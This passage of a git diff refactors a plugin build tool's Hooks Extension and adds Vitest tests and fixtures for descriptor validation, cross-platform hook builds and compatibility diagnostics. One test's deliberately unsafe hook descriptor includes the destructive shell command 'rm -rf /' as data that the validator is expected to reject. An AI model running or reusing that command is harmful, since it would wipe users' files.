string, ancestors = new Set()): JsonValue { - if (value === null || typeof value === 'string' || typeof value === 'boolean') - return value; - if (typeof value === 'number') { - if (!Number.isFinite(value)) - throw new TypeError(`${path} must be finite.`); - return value; - } - if (typeof value !== 'object') - throw new TypeError(`${path} must contain JSON data.`); - if (ancestors.has(value)) - throw new TypeError(`${path} must not contain cycles.`); - ancestors.add(value); - try { - if (Array.isArray(value)) { - /** 数组索引必须稠密且不能携带隐藏自定义字段。 */ - const descriptors = Object.getOwnPropertyDescriptors(value); - if (Object.getOwnPropertySymbols(value).length > 0) - throw new TypeError(`${path} arrays must not contain symbol fields.`); - for (let index = 0; index < value.length; index += 1) { - if (!Object.hasOwn(value, index)) - throw new TypeError(`${path} must not contain sparse arrays.`); - } - if (Object.keys(descriptors).some(field => field !== 'length' - && (!/^(?:0|[1-9][0-9]*)$/u.test(field) || Number(field) >= value.length))) - throw new TypeError(`${path} arrays must not contain custom fields.`); - /** 逐索引读取 data descriptor,绝不通过 Array.prototype.map 触发 getter。 */ - const result: JsonValue[] = []; - for (let index = 0; index < value.length; index += 1) { - /** 稠密索引必须仍是显式 data property。 */ - const descriptor = descriptors[String(index)]!; - if (!('value' in descriptor)) - throw new TypeError(`${path}[${index}] must be a data property.`); - result.push(copyJson(descriptor.value, `${path}[${index}]`, ancestors)); - } - return Object.freeze(result); - } - if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) - throw new TypeError(`${path} must be a plain JSON object.`); - /** descriptor 读取保证 getter 在任何阶段都不会执行。 */ - const descriptors = Object.getOwnPropertyDescriptors(value); - /** result 与作者后续 mutation 完全断开。 */ - const result: Record = {}; - for (const field of Object.keys(descriptors).sort()) { - /** 当前字段必须是显式 data property。 */ - const descriptor = descriptors[field]!; - if (!('value' in descriptor)) - throw new TypeError(`${path}.${field} must be a data property.`); - if (descriptor.value === undefined) - throw new TypeError(`${path}.${field} must not be undefined.`); - result[field] = copyJson(descriptor.value, `${path}.${field}`, ancestors); - } - return Object.freeze(result); - } finally { - ancestors.delete(value); - } -} - /** 把已加载作者模块转换为不包含 `run` 的 immutable descriptor State。 */ function descriptorData(value: unknown): HookDescriptorData { if (!isPlainObject(value) || Object.getOwnPropertySymbols(value).length > 0) @@ -150,19 +92,19 @@ function descriptorData(value: unknown): HookDescriptorData { return Object.freeze({ event: fields.event === undefined || fields.event.value === undefined ? null - : copyJson(fields.event.value, 'Hook.event'), + : snapshotJson(fields.event.value, 'Hook.event'), ...(fields.matcher === undefined || fields.matcher.value === undefined ? {} - : { matcher: copyJson(fields.matcher.value, 'Hook.matcher') }), + : { matcher: snapshotJson(fields.matcher.value, 'Hook.matcher') }), ...(fields.timeout === undefined || fields.timeout.value === undefined ? {} - : { timeout: copyJson(fields.timeout.value, 'Hook.timeout') }), + : { timeout: snapshotJson(fields.timeout.value, 'Hook.timeout') }), ...(fields.statusMessage === undefined || fields.statusMessage.value === undefined ? {} - : { statusMessage: copyJson(fields.statusMessage.value, 'Hook.statusMessage') }), + : { statusMessage: snapshotJson(fields.statusMessage.value, 'Hook.statusMessage') }), ...(fields.platforms === undefined || fields.platforms.value === undefined ? {} - : { platforms: copyJson(fields.platforms.value, 'Hook.platforms') }), + : { platforms: snapshotJson(fields.platforms.value, 'Hook.platforms') }), unknownFields: Object.freeze(unknownFields), runValid: typeof fields.run?.value === 'function', }); diff --git a/packages/extensions/hooks/src/runtime-integration-source.ts b/packages/extensions/hooks/src/runtime/integration.ts similarity index 98% rename from packages/extensions/hooks/src/runtime-integration-source.ts rename to packages/extensions/hooks/src/runtime/integration.ts index 41a2efb..6490d69 100644 --- a/packages/extensions/hooks/src/runtime-integration-source.ts +++ b/packages/extensions/hooks/src/runtime/integration.ts @@ -1,5 +1,5 @@ -import type { BuiltHook } from './build.js'; -import { eventName } from './discovery.js'; +import type { BuiltHook } from '../build.js'; +import { eventName } from '../discovery.js'; /** 运行时 Platform integration 需要的单个 Hook 静态描述。 */ interface RuntimeHookDescriptor { diff --git a/packages/extensions/hooks/src/runtime-source.ts b/packages/extensions/hooks/src/runtime/runner.ts similarity index 99% rename from packages/extensions/hooks/src/runtime-source.ts rename to packages/extensions/hooks/src/runtime/runner.ts index c29c83a..dacfceb 100644 --- a/packages/extensions/hooks/src/runtime-source.ts +++ b/packages/extensions/hooks/src/runtime/runner.ts @@ -1,4 +1,4 @@ -import { MAX_HOOK_IO_BYTES } from './constants.js'; +import { MAX_HOOK_IO_BYTES } from '../constants.js'; /** * 生成单个 Hook 的平台中立隔离运行器源码。 diff --git a/packages/extensions/hooks/src/wire-source.ts b/packages/extensions/hooks/src/runtime/wire.ts similarity index 99% rename from packages/extensions/hooks/src/wire-source.ts rename to packages/extensions/hooks/src/runtime/wire.ts index 3ffb873..d07ff70 100644 --- a/packages/extensions/hooks/src/wire-source.ts +++ b/packages/extensions/hooks/src/runtime/wire.ts @@ -5,7 +5,7 @@ import { CURSOR_PLATFORM_ID, OPENCODE_PLATFORM_ID, PI_PLATFORM_ID, -} from './constants.js'; +} from '../constants.js'; /** Hooks Extension 当前内置 Contributor 的 Platform ID。 */ export type HookAdapterPlatform diff --git a/packages/extensions/hooks/test/authoring-discovery.test.ts b/packages/extensions/hooks/test/authoring-discovery.test.ts new file mode 100644 index 0000000..06986fc --- /dev/null +++ b/packages/extensions/hooks/test/authoring-discovery.test.ts @@ -0,0 +1,162 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import hooks from '../src/index.js'; +import { createProject, runProject } from './fixture.js'; + +describe('Hooks Extension authoring and discovery', () => { + it('filters discovered resources with include and rejects invalid factory options', async () => { + /** 只选择 keep、忽略 skip 的真实作者工程。 */ + const root = await createProject({ + hooks: [ + { id: 'keep', definition: `{ event: 'SessionStart', run() {} }` }, + { id: 'skip', definition: `{ event: 'Stop', run() {} }` }, + ], + hooksOptions: `{ include: ['keep'] }`, + }); + /** include 筛选后的双 Platform 构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + expect((await fs.readdir(path.join(root, 'dist/claude-code/plugin/hooks'))).sort()).toEqual(['hooks.json', 'keep']); + await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/skip/handler.mjs'))).rejects.toThrow(); + expect(() => hooks({ include: ['valid', 'valid'] })).toThrow('duplicate ID'); + expect(() => hooks({ include: ['Not-Kebab'] })).toThrow('lowercase kebab-case'); + expect(() => hooks({ unknown: true } as never)).toThrow('Unknown Hooks option'); + }); + + it('rejects non-enumerable descriptor accessors without evaluating them', async () => { + /** 不可枚举 getter 也属于可执行描述行为,不能靠 Object.keys 隐藏。 */ + const root = await createProject({ + hooks: [{ + id: 'accessor', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, 'hidden', { get() { throw new Error('MUST_NOT_RUN'); } }); + return value; + })() as never`, + }], + }); + /** discover 只报告脱敏加载失败,不执行或泄漏 getter 内容。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_LOAD_FAILED' })); + expect(JSON.stringify(result.diagnostics)).not.toContain('MUST_NOT_RUN'); + }); + + it('rejects non-enumerable unknown descriptor fields', async () => { + /** data property 即使不可枚举也必须保留到领域 Schema 检查。 */ + const root = await createProject({ + hooks: [{ + id: 'hidden-field', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, 'hidden', { value: true }); + return value; + })() as never`, + }], + }); + /** 隐藏字段不能因 Module Service 快照规则而消失。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_FIELD_UNKNOWN' })); + }); + + it('distinguishes omitted descriptor fields from nested undefined values', async () => { + /** 顶层可选字段缺失是合法 omission。 */ + const omittedRoot = await createProject({ + hooks: [{ + id: 'omitted', + definition: `{ event: 'SessionStart', run() {} }`, + }], + }); + /** omission 能完整进入 validate/build,而不是被误判成非法 JSON。 */ + const omitted = await runProject({ cwd: omittedRoot, command: 'validate', mode: 'production' }); + expect(omitted.success).toBe(true); + expect(omitted.extensions).toContainEqual(expect.objectContaining({ + id: 'hooks', + discovered: true, + subjects: expect.arrayContaining([ + expect.objectContaining({ subject: 'hook:omitted' }), + ]), + })); + + /** 已出现的嵌套字段显式 undefined 不是 JSON 数据。 */ + const invalidRoot = await createProject({ + hooks: [{ + id: 'nested-undefined', + definition: `{ event: 'SessionStart', platforms: { codex: { timeout: undefined } }, run() {} } as never`, + }], + }); + /** discover 必须只拒绝包含显式 nested undefined 的 descriptor。 */ + const invalid = await runProject({ cwd: invalidRoot, command: 'validate', mode: 'production' }); + + expect(invalid.success).toBe(false); + expect(invalid.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(1); + }); + + it('rejects array accessors, custom fields, Symbols and __proto__ fields without executing accessors', async () => { + /** 四个资源分别覆盖 nested array getter、自定义索引、数组 Symbol 与特殊对象字段名。 */ + const root = await createProject({ + hooks: [{ + id: 'nested-accessor', + definition: `(() => { + const platforms = []; + Object.defineProperty(platforms, '0', { get() { process.stdout.write('GETTER_EXECUTED'); return 'codex'; } }); + Object.defineProperty(platforms, 'length', { value: 1 }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'array-field', + definition: `(() => { + const platforms = ['codex']; + Object.defineProperty(platforms, '01', { value: 'claude-code' }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'array-symbol', + definition: `(() => { + const platforms = ['codex']; + Object.defineProperty(platforms, Symbol.for('hidden'), { value: true }); + return { event: 'SessionStart', platforms, run() {} }; + })() as never`, + }, { + id: 'proto-field', + definition: `(() => { + const value = { event: 'SessionStart', run() {} }; + Object.defineProperty(value, '__proto__', { value: true }); + return value; + })() as never`, + }], + }); + /** getter 资源加载失败,特殊字段资源进入领域未知字段诊断。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_LOAD_FAILED')).toHaveLength(3); + }); + + it('reports missing includes and platform-specific SessionEnd timeout limits', async () => { + /** 同时覆盖缺失 include 和 Codex 三秒上限的工程。 */ + const missingRoot = await createProject({ + hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 4, platforms: { 'claude-code': { timeout: 60 } }, run() {} }` }], + hooksOptions: `{ include: ['session-end', 'missing'] }`, + }); + /** discover 与 validate 阶段应分别提交目标明确的诊断。 */ + const missing = await runProject({ cwd: missingRoot, command: 'validate', mode: 'production' }); + expect(missing.success).toBe(false); + expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_INCLUDE_MISSING' })); + expect(missing.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); + + /** Codex 使用三秒,而 Claude Code 单独超过六十秒上限的工程。 */ + const claudeRoot = await createProject({ + hooks: [{ id: 'session-end', definition: `{ event: 'SessionEnd', timeout: 3, platforms: { 'claude-code': { timeout: 61 } }, run() {} }` }], + }); + /** Claude Code 上限必须独立于 Codex 默认值验证。 */ + const claude = await runProject({ cwd: claudeRoot, command: 'validate', mode: 'production' }); + expect(claude.success).toBe(false); + expect(claude.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_TIMEOUT_PLATFORM_LIMIT' })); + }); +}); diff --git a/packages/extensions/hooks/test/build.test.ts b/packages/extensions/hooks/test/build.test.ts new file mode 100644 index 0000000..113b594 --- /dev/null +++ b/packages/extensions/hooks/test/build.test.ts @@ -0,0 +1,119 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { HOOK_EVENTS } from '../src/index.js'; +import { canonicalHooks, createProject, runHandler, runProject } from './fixture.js'; + +describe('Hooks Extension build', () => { + it('builds all canonical events once and adapts them to Claude Code and Codex', async () => { + /** 覆盖完整事件矩阵和本地第三方依赖的真实工程。 */ + const root = await createProject({ hooks: canonicalHooks(), dependency: true }); + /** 完整提交双 Platform 产物的构建结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + /** event 表示当前规范事件,用于验证两个 Contributor 都报告原生触发能力。 */ + for (const event of HOOK_EVENTS) { + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'claude-code', + capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, + level: 'native', + })); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + capability: `event.${event.replace(/([a-z0-9])([A-Z])/gu, '$1-$2').toLowerCase()}`, + level: 'native', + })); + } + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'hook:stop', + capability: 'matcher', + level: 'degraded', + })); + + /** Claude Code 最终 Plugin Manifest。 */ + const claudeManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), + 'utf8', + )) as Record; + /** Codex 最终 Plugin Manifest。 */ + const codexManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), + 'utf8', + )) as Record; + expect(claudeManifest.hooks).toBe('./hooks/hooks.json'); + expect(codexManifest.hooks).toBe('./hooks/hooks.json'); + + /** Claude Code Contributor 生成的 Hook 配置。 */ + const claudeHooks = JSON.parse(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/hooks/hooks.json'), + 'utf8', + )) as { hooks: Record[] }[]> }; + /** Codex Contributor 生成的 Hook 配置。 */ + const codexHooks = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/hooks/hooks.json'), + 'utf8', + )) as { hooks: Record[] }[]> }; + expect(Object.keys(claudeHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); + expect(Object.keys(codexHooks.hooks).sort()).toEqual([...HOOK_EVENTS].sort()); + expect(claudeHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ + type: 'command', + command: 'node', + args: ['${CLAUDE_PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs', 'claude-code'], + timeout: 5, + }); + expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).toMatchObject({ + type: 'command', + command: 'node "${PLUGIN_ROOT}/hooks/pre-tool-use/handler.mjs" codex', + timeout: 5, + additionalContextLimit: 1200, + }); + expect(codexHooks.hooks.PreToolUse![0]!.hooks[0]).not.toHaveProperty('args'); + + /** 两个平台复用同一平台中立 Handler 的 Claude Code 文件。 */ + const claudeHandler = path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/handler.mjs'); + /** 两个平台复用同一平台中立 Handler 的 Codex 文件。 */ + const codexHandler = path.join(root, 'dist/codex/plugin/hooks/pre-tool-use/handler.mjs'); + expect(await fs.readFile(claudeHandler)).toEqual(await fs.readFile(codexHandler)); + await expect(fs.access(path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/wire.mjs'))).rejects.toThrow(); + expect((await fs.readFile(claudeHandler, 'utf8'))).not.toContain('./wire.mjs'); + expect(await fs.readFile( + path.join(root, 'dist/claude-code/plugin/hooks/pre-tool-use/THIRD_PARTY_LICENSES.txt'), + 'utf8', + )).toContain('fixture-dependency@2.3.4'); + }); + + it('keeps Handler bytes and report hashes stable across isolated work directories', async () => { + /** 单个 Hook 足以暴露随机 Extension workDir 曾进入 Rolldown region 注释的问题。 */ + const root = await createProject({ + hooks: [{ id: 'session-start', definition: `{ event: 'SessionStart', run() {} }` }], + }); + /** 第一次完整构建的稳定报告。 */ + const first = await runProject({ cwd: root, command: 'build', mode: 'production' }); + /** 第一次事务提交后的 Handler 原始字节。 */ + const firstHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); + /** 相同输入下由新 workDir 完成的第二次构建报告。 */ + const second = await runProject({ cwd: root, command: 'build', mode: 'production' }); + /** 第二次事务提交后的 Handler 原始字节。 */ + const secondHandler = await fs.readFile(path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs')); + + expect(first.success).toBe(true); + expect(second.success).toBe(true); + expect(secondHandler).toEqual(firstHandler); + expect(secondHandler.toString('utf8')).not.toMatch(/^\/\/#(?:end)?region/mu); + expect(secondHandler.toString('utf8')).not.toContain(root); + expect(secondHandler.toString('utf8')).not.toContain('src/hooks/session-start/hook.ts'); + expect(second.packages).toEqual(first.packages); + /** 删除 Canonical 源码后,自包含安装产物仍必须可独立执行。 */ + await fs.rm(path.join(root, 'src/hooks'), { recursive: true }); + /** 删除源码后执行已安装 Handler 的进程结果。 */ + const execution = await runHandler( + path.join(root, 'dist/claude-code/plugin/hooks/session-start/handler.mjs'), + 'claude-code', + JSON.stringify({ session_id: 'session-1', cwd: root, hook_event_name: 'SessionStart', source: 'startup' }), + { CLAUDE_PLUGIN_ROOT: '/plugin-root', CLAUDE_PLUGIN_DATA: '/plugin-data' }, + ); + expect(execution).toEqual({ code: 0, stdout: '', stderr: '' }); + }); +}); diff --git a/packages/extensions/hooks/test/contributors.test.ts b/packages/extensions/hooks/test/contributors.test.ts new file mode 100644 index 0000000..f6c312e --- /dev/null +++ b/packages/extensions/hooks/test/contributors.test.ts @@ -0,0 +1,152 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { describe, expect, it } from 'vitest'; +import { createProject, runProject } from './fixture.js'; + +describe('Hooks Extension contributors', () => { + it('rejects raw platform handler declarations and invalid contributor fields before bundling', async () => { + /** 同时尝试六类禁止入口和一个未知平台字段的恶意作者工程。 */ + const root = await createProject({ + hooks: [{ + id: 'unsafe', + definition: `{ + event: 'PreToolUse', + type: 'http', + command: 'rm -rf /', + executable: '/usr/bin/node', + url: 'https://example.com/hook', + prompt: 'approve', + agent: 'reviewer', + server: 'mcp-server', + tool: 'check', + platforms: { codex: { command: 'node unsafe.js' } }, + run() {}, + }`, + }], + }); + /** validate 在 Extension build 前收集的结构化失败结果。 */ + const result = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + + expect(result.success).toBe(false); + expect(result.packages.length).toBeGreaterThan(0); + expect(result.diagnostics.filter(diagnostic => diagnostic.code === 'HOOK_FIELD_UNKNOWN')).toHaveLength(8); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'HOOK_PLATFORM_FIELD_UNKNOWN', + })); + }); + + it('routes platform-only events exclusively to their declared configured Contributor', async () => { + /** Claude Code Setup 平台事件仍同时配置默认双 Platform 的工程。 */ + const root = await createProject({ + hooks: [{ + id: 'setup', + definition: `{ event: { platform: 'claude-code', name: 'Setup' }, matcher: 'init', run() {} }`, + }], + }); + /** 平台事件成功构建后的兼容性和 Asset 结果。 */ + const result = await runProject({ cwd: root, command: 'build', mode: 'production' }); + + expect(result.success).toBe(true); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'claude-code', + subject: 'hook:setup', + capability: 'event.setup', + level: 'native', + })); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + platform: 'codex', + subject: 'hook:setup', + level: 'unsupported', + })); + await expect(fs.access(path.join(root, 'dist/codex/plugin/hooks/hooks.json'))).rejects.toThrow(); + /** Codex Manifest 不应因其他平台事件获得空 hooks 字段。 */ + const codexManifest = JSON.parse(await fs.readFile( + path.join(root, 'dist/codex/plugin/.codex-plugin/plugin.json'), + 'utf8', + )) as Record; + expect(codexManifest).not.toHaveProperty('hooks'); + }); + + it('keeps an empty Extension asset-free and uses the Cursor Contributor when selected', async () => { + /** 没有 `src/hooks` 的空 Extension 工程。 */ + const emptyRoot = await createProject(); + /** 空 Extension 的成功构建结果。 */ + const empty = await runProject({ cwd: emptyRoot, command: 'build', mode: 'production' }); + expect(empty.success).toBe(true); + expect(empty.packages + .flatMap(unit => unit.assets) + .some(asset => asset.path.startsWith('hooks/'))).toBe(false); + + /** 只配置 Cursor、且拥有实际 Hook 资源的工程。 */ + const cursorRoot = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', run() {} }` }], + configImports: `import cursor from '@tokenroll/acplugin-platform-cursor';`, + configFields: 'platforms: [cursor({ strict: false })], build: { strict: false },', + }); + /** relaxed 模式使用 Cursor 事件映射并保留 transform 结论。 */ + const cursorResult = await runProject({ cwd: cursorRoot, command: 'validate', mode: 'production' }); + expect(cursorResult.success).toBe(true); + expect(cursorResult.compatibility).toContainEqual(expect.objectContaining({ + platform: 'cursor', + subject: 'hook:stop', + level: 'transform', + })); + }); + + it('applies strictness only when an actual Codex matcher loses semantics', async () => { + /** Stop 使用有语义 matcher 的严格构建工程。 */ + const root = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], + configFields: 'platforms: [claudeCode(), codex()], build: { strict: true },', + }); + /** strict 模式因当前 Hook 的 Codex matcher 损失而失败。 */ + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT_FAILURE', + platform: 'codex', + })); + }); + + it('reports Claude Code events that silently ignore meaningful matchers', async () => { + /** 只配置 Claude Code,避免其他 Platform 的兼容性结论干扰断言。 */ + const root = await createProject({ + hooks: [{ id: 'stop', definition: `{ event: 'Stop', matcher: 'quality-gate', run() {} }` }], + configImports: `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, + configFields: 'platforms: [claudeCode()], build: { strict: true },', + }); + /** meaningful matcher 被宿主静默忽略,因此严格模式必须失败。 */ + const strict = await runProject({ cwd: root, command: 'validate', mode: 'production' }); + expect(strict.success).toBe(false); + expect(strict.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPATIBILITY_STRICT_FAILURE', + platform: 'claude-code', + })); + }, 15_000); + + it('rejects unconfigured and unknown platform-only events with targeted diagnostics', async () => { + /** 只配置 Codex 却声明 Claude Code Setup 的工程。 */ + const unconfiguredRoot = await createProject({ + hooks: [{ + id: 'setup', + definition: `{ event: { platform: 'claude-code', name: 'Setup' }, run() {} }`, + }], + configImports: `import codex from '@tokenroll/acplugin-platform-codex';`, + configFields: 'platforms: [codex({ strict: false })], build: { strict: false },', + }); + /** Platform 缺失应在 Bundle 前失败。 */ + const unconfigured = await runProject({ cwd: unconfiguredRoot, command: 'validate', mode: 'production' }); + expect(unconfigured.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_NOT_CONFIGURED' })); + + /** 默认包含 Claude Code、但事件名不属于其官方 Schema 的工程。 */ + const unknownRoot = await createProject({ + hooks: [{ + id: 'unknown-event', + definition: `{ event: { platform: 'claude-code', name: 'ImaginaryEvent' }, run() {} }`, + }], + }); + /** Contributor 未知事件应给出独立诊断码。 */ + const unknown = await runProject({ cwd: unknownRoot, command: 'validate', mode: 'production' }); + expect(unknown.diagnostics).toContainEqual(expect.objectContaining({ code: 'HOOK_PLATFORM_EVENT_UNSUPPORTED' })); + }, 15_000); +}); diff --git a/packages/extensions/hooks/test/fixture.ts b/packages/extensions/hooks/test/fixture.ts new file mode 100644 index 0000000..0ebee77 --- /dev/null +++ b/packages/extensions/hooks/test/fixture.ts @@ -0,0 +1,348 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach } from 'vitest'; +import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; +import { HOOK_EVENTS } from '../src/index.js'; + +/** 当前测试文件所在仓库的绝对根目录。 */ +const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); + +/** 测试描述文件通过临时包入口加载的 Hooks Extension 构建产物。 */ +const extensionEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist/index.mjs'); + +/** 需要自定义 Platform 时由配置文件直接加载的主包构建产物。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** 配置覆盖使用的三个独立 Platform 真实构建入口。 */ +const claudeCodeEntry = path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'); +/** Hook 测试自定义配置使用的 Codex Platform 构建入口。 */ +const codexEntry = path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'); +/** Hook 测试自定义配置使用的 Cursor Platform 构建入口。 */ +const cursorEntry = path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'); + +/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** 单个测试 Hook 的目录 ID 和 plain descriptor 源码。 */ +interface HookFixture { + /** `src/hooks/` 使用的规范目录 ID。 */ + readonly id: string; + /** descriptor 之前写入的可选额外 import。 */ + readonly imports?: string; + /** 默认导出的 TypeScript 对象表达式。 */ + readonly definition: string; +} + +/** 创建临时规范工程时使用的可选配置。 */ +interface ProjectFixtureOptions { + /** 当前工程需要写入的 Hook 作者资源。 */ + readonly hooks?: readonly HookFixture[]; + /** 添加到配置文件 import 区域的源码。 */ + readonly configImports?: string; + /** 添加到顶层配置对象的字段源码。 */ + readonly configFields?: string; + /** 是否提供一个带 LICENSE 的本地第三方依赖。 */ + readonly dependency?: boolean; + /** 直接传入 `hooks(...)` 的可选 TypeScript 参数表达式。 */ + readonly hooksOptions?: string; +} + +/** 子进程 Handler 的稳定退出状态和有限输出。 */ +interface HandlerResult { + /** Node 子进程退出码。 */ + readonly code: number | null; + /** Handler 写入标准输出的完整文本。 */ + readonly stdout: string; + /** Handler 写入标准错误的安全文本。 */ + readonly stderr: string; +} + +/** + * 在原生 Node ESM 子进程中运行公开 API,确保共享 registry brand 只绑定一个主包实例。 + * + * @param options 可 JSON 序列化的项目运行选项。 + * @returns 公开 API 产生的结构化 BuildReport。 + */ +export async function runProject(options: RunProjectOptions): Promise { + /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ + const source = ` +import { runProject } from ${JSON.stringify(acpluginEntry)}; +try { + const result = await runProject(${JSON.stringify(options)}); + process.stdout.write(JSON.stringify({ ok: true, result })); +} catch (error) { + process.stdout.write(JSON.stringify({ + ok: false, + name: error instanceof Error ? error.name : 'Error', + message: error instanceof Error ? error.message : 'Project execution failed.', + diagnostics: error && typeof error === 'object' && 'diagnostics' in error ? error.diagnostics : [], + })); +} +`; + /** Node 子进程的退出状态与文本输出。 */ + const execution = await new Promise((resolve, reject) => { + /** 不经过 Vitest 转换器的原生 ESM 子进程。 */ + const child = spawn(process.execPath, ['--input-type=module', '--eval', source], { + env: process.env, + stdio: ['ignore', 'pipe', 'pipe'], + }); + /** 子进程累计的 JSON 标准输出。 */ + let stdout = ''; + /** 子进程累计的框架错误输出。 */ + let stderr = ''; + child.stdout.setEncoding('utf8'); + child.stderr.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + stdout += chunk; + }); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.on('error', reject); + child.on('close', code => resolve({ code, stdout, stderr })); + }); + if (execution.code !== 0) + throw new Error(`Project subprocess failed: ${execution.stderr}`); + /** 子进程返回的成功结果或安全异常摘要。 */ + const payload = JSON.parse(execution.stdout) as { + readonly ok: boolean; + readonly result?: BuildReport; + readonly name?: string; + readonly message?: string; + readonly diagnostics?: unknown; + }; + if (!payload.ok || payload.result === undefined) + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'} ${JSON.stringify(payload.diagnostics ?? [])} STDERR=${execution.stderr}`); + return payload.result; +} + +/** + * 在临时工程中创建可由统一 Module Service 和 Rolldown 共同解析的 Extension 包入口。 + * + * @param root 临时工程根目录。 + */ +async function writeExtensionProxy(root: string): Promise { + /** 临时 node_modules 中的 Hooks Extension 包目录。 */ + const packageRoot = path.join(root, 'node_modules/@tokenroll/acplugin-extension-hooks'); + await fs.mkdir(packageRoot, { recursive: true }); + await fs.writeFile(path.join(packageRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin-extension-hooks', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(packageRoot, 'index.mjs'), + `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, + ); + /** Hooks 构建产物按包名导入公开 SDK,这里提供与打包安装相同的代理入口。 */ + const acpluginRoot = path.join(root, 'node_modules/@tokenroll/acplugin'); + await fs.mkdir(acpluginRoot, { recursive: true }); + await fs.writeFile(path.join(acpluginRoot, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin', + version: '1.0.0', + type: 'module', + exports: { '.': './index.mjs', './sdk': './sdk.mjs' }, + })); + await fs.writeFile(path.join(acpluginRoot, 'index.mjs'), `export * from ${JSON.stringify(acpluginEntry)};\n`); + await fs.writeFile(path.join(acpluginRoot, 'sdk.mjs'), `export * from ${JSON.stringify(path.join(repositoryRoot, 'packages/acplugin/dist/sdk.mjs'))};\n`); + /** Platform package proxies keep config imports inside the fixture's package graph. */ + for (const [name, entry] of [ + ['@tokenroll/acplugin-platform-claude-code', claudeCodeEntry], + ['@tokenroll/acplugin-platform-codex', codexEntry], + ['@tokenroll/acplugin-platform-cursor', cursorEntry], + ] as const) { + /** 当前代理包的物理根目录。 */ + const platformRoot = path.join(root, 'node_modules', name); + await fs.mkdir(platformRoot, { recursive: true }); + await fs.writeFile(path.join(platformRoot, 'package.json'), JSON.stringify({ + name, + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile(path.join(platformRoot, 'index.mjs'), `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`); + } +} + +/** + * 